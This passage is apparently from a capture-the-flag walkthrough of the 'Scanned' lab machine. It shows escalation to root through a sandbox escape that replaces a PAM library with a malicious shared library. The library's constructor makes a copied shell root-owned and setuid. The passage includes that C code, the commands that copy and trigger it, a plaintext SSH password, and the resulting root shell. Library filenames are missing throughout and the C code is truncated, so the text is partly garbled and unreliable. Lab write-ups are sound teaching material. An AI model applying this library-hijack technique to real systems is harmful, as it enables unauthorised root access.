clarence@scanned:/var/www/malscanner/sandbox$ /proc/1/fd/3/../../../../../../../usr/bin/su: /lib/ no version information available (required by /proc/1/fd/3/../../../../../../../usr/bin/su)
/proc/1/fd/3/../../../../../../../usr/bin/su: /lib/ no version information available (required by /lib/
/proc/1/fd/3/../../../../../../../usr/bin/su: symbol lookup error: /lib/ undefined symbol: pam_putenv, version LIBPAM_1.0
Kill err: (3)

It’s complaining that there’s no version information in my library, and that requires it. It’s also complaining that needs the pam_putenv method from

I could go down trying to fix these by implementing the version info and the pam_putenv function (described here).

Instead, I’ll try overwriting the library instead, on the idea that this “misc” library may provide less critical purpose to su.

clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /dev/shm/runsu a & until [ -d jails/a ]; do sleep 1; done; cp -r /lib/x86_64-linux-gnu/* jails/a/usr/lib/; cp /dev/shm/ jails/a/usr/lib/; echo "copied libs"
[1] 124368
copied libs
clarence@scanned:/var/www/malscanner/sandbox$ /proc/1/fd/3/../../../../../../../usr/bin/su: /lib/ no version information available (required by /proc/1/fd/3/../../../../../../../usr/bin/su)
/proc/1/fd/3/../../../../../../../usr/bin/su: symbol lookup error: /proc/1/fd/3/../../../../../../../usr/bin/su: undefined symbol: misc_conv, version LIBPAM_MISC_1.0
Kill err: (3)

This time is still missing the version info, but no library is complaining about it’s not being there. There is a symbol look up error for the misc_conv function: “undefined symbol: misc_conv, version LIBPAM_MISC_1.0”

Add misc_conv Function

The definition for this function is here:

       int misc_conv(int num_msg, const struct pam_message **msgm,
                     struct pam_response **response, void *appdata_ptr);

I’ll add this to the library, and just have it return 1:

#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>

int misc_conv(int num_msg, const struct pam_message **msgm, struct pam_response **response, void *appdata_ptr) {
    return 1;

static __attribute__ ((constructor)) void init(void) {

    char fn[120] = "/proc/1/fd/3/../../../../../../../../tmp/0xdf";
    char mode[] = "4777";
    int mode_int = strtol(mode, 0, 8);
    chown(fn, 0, 0);
    chmod(fn, mode_int);

When I compile it, there are warnings for unknown types, but that’s ok:

oxdf@hacky$ gcc -shared -fPIC -o setuidlib.c 
setuidlib.c:5:68: warning: ‘struct pam_response’ declared inside parameter list will not be visible outside of this definition or declaration
    5 | int misc_conv(int num_msg, const struct pam_message **msgm, struct pam_response **response, void *appdata_ptr) {
      |                                                                    ^~~~~~~~~~~~
setuidlib.c:5:41: warning: ‘struct pam_message’ declared inside parameter list will not be visible outside of this definition or declaration
    5 | int misc_conv(int num_msg, const struct pam_message **msgm, struct pam_response **response, void *appdata_ptr) {

I’ll upload it to Scanned:

oxdf@hacky$ sshpass -p 'onedayyoufeellikecrying' scp clarence@


I’ll run again, updating with

clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /dev/shm/runsu a & until [ -d jails/a ]; do sleep 1; done; cp -r /lib/x86_64-linux-gnu/* jails/a/usr/lib/; cp /dev/shm/ jails/a/usr/lib/; echo "copied libs"
[1] 124401
copied libs
/proc/1/fd/3/../../../../../../../usr/bin/su: /lib/ no version information available (required by /proc/1/fd/3/../../../../../../../usr/bin/su)
su: user root does not exist or the user entry does not contain all the required fields
Kill err: (3)

The results look good! It seems to have run. And /tmp/0xdf is now SetUID:

clarence@scanned:/var/www/malscanner/sandbox$ ls -l /tmp/0xdf 
-rwsrwxrwx 1 root root 1234376 Sep  8 18:57 /tmp/0xdf

I’ll run it (remembering -p to not drop privs) and get a root shell:

clarence@scanned:/var/www/malscanner/sandbox$ /tmp/0xdf -p
0xdf-5.1# id
uid=1000(clarence) gid=1000(clarence) euid=0(root) groups=1000(clarence)

And root.txt:

0xdf-5.1# cat /root/root.txt